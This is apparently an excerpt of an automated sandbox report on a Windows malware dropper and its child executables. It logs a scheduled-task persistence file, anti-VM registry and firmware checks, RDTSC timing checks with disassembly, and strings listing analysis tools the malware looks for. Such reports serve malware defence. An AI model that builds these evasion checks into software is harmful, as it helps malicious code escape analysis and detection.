Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: 6454cda0dd.exe PID: 5468, type: MEMORYSTR

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_0-12344
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep	graph_6-37465
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_2-9942

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000003.3238223155.0000000007646000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: PROCMON.EXE
Source: c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000003.3238223155.0000000007646000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: X64DBG.EXE
Source: c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000003.3238223155.0000000007646000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: WINDBG.EXE
Source: ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000003.3238223155.0000000007646000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF416 second address: 5EF41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF41D second address: 5EF443 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F27CCB240DDh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F27CCB240DBh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768241 second address: 768260 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F27CD375EF1h 0x00000008 jns 00007F27CD375EE6h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76853C second address: 768569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jmp 00007F27CCB240E2h 0x00000010 jmp 00007F27CCB240DCh 0x00000015 pop edi 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768569 second address: 768575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F27CD375EE6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768575 second address: 76857A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7689B7 second address: 7689BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AC1F second address: 76AC25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AC25 second address: 76AC29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AC29 second address: 76AC4D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edx, dword ptr [ebp+122D2D4Ch] 0x00000011 push 00000000h 0x00000013 mov edx, dword ptr [ebp+122D2B80h] 0x00000019 push 61F9EB09h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AC4D second address: 76AC51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AC51 second address: 76AC55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AC55 second address: 76AC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AD73 second address: 76AD86 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F27CCB240D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b je 00007F27CCB240D6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AD86 second address: 76ADEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 add dword ptr [esp], 6F421BDBh 0x0000000d jng 00007F27CD375EECh 0x00000013 xor dword ptr [ebp+122D1CD6h], eax 0x00000019 cmc 0x0000001a push 00000003h 0x0000001c sub dword ptr [ebp+122D1EA6h], eax 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 call 00007F27CD375EE8h 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], edx 0x00000031 add dword ptr [esp+04h], 00000016h 0x00000039 inc edx 0x0000003a push edx 0x0000003b ret 0x0000003c pop edx 0x0000003d ret 0x0000003e ja 00007F27CD375EECh 0x00000044 push 00000003h 0x00000046 mov edi, dword ptr [ebp+122D2B88h] 0x0000004c push 7F96BB5Eh 0x00000051 push ebx 0x00000052 jl 00007F27CD375EECh 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76ADEA second address: 76AE24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 add dword ptr [esp], 406944A2h 0x0000000c pushad 0x0000000d mov edx, dword ptr [ebp+122D2C74h] 0x00000013 mov cx, dx 0x00000016 popad 0x00000017 lea ebx, dword ptr [ebp+1244FA9Fh] 0x0000001d adc dx, B120h 0x00000022 xchg eax, ebx 0x00000023 jmp 00007F27CCB240E2h 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AE69 second address: 76AE6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AE6F second address: 76AE73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AE73 second address: 76AE77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AE77 second address: 76AEF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F27CCB240E1h 0x0000000f jng 00007F27CCB240DCh 0x00000015 popad 0x00000016 nop 0x00000017 add cx, 57BAh 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007F27CCB240D8h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 00000017h 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 movsx ecx, cx 0x0000003b jmp 00007F27CCB240DBh 0x00000040 push C88C8741h 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 jmp 00007F27CCB240E6h 0x0000004d js 00007F27CCB240D6h 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AEF9 second address: 76AEFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77C819 second address: 77C82B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 je 00007F27CCB240E4h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77C82B second address: 77C831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A25D second address: 78A267 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A267 second address: 78A26B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A3C2 second address: 78A3DA instructions: 0x00000000 rdtsc 0x00000002 jne 00007F27CCB240D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F27CCB240DEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A548 second address: 78A54E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A54E second address: 78A565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F27CCB240D6h 0x0000000a jmp 00007F27CCB240DCh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A565 second address: 78A58D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F27CD375EF0h 0x00000008 jmp 00007F27CD375EF3h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A58D second address: 78A59C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F27CCB240D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A59C second address: 78A5A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A5A0 second address: 78A5A6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A6E1 second address: 78A6EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F27CD375EE6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A6EC second address: 78A71A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F27CCB240E8h 0x00000008 jmp 00007F27CCB240E2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F27CCB240DAh 0x00000017 pushad 0x00000018 popad 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b push ecx 0x0000001c push eax 0x0000001d pop eax 0x0000001e push edx 0x0000001f pop edx 0x00000020 pop ecx 0x00000021 rdtsc
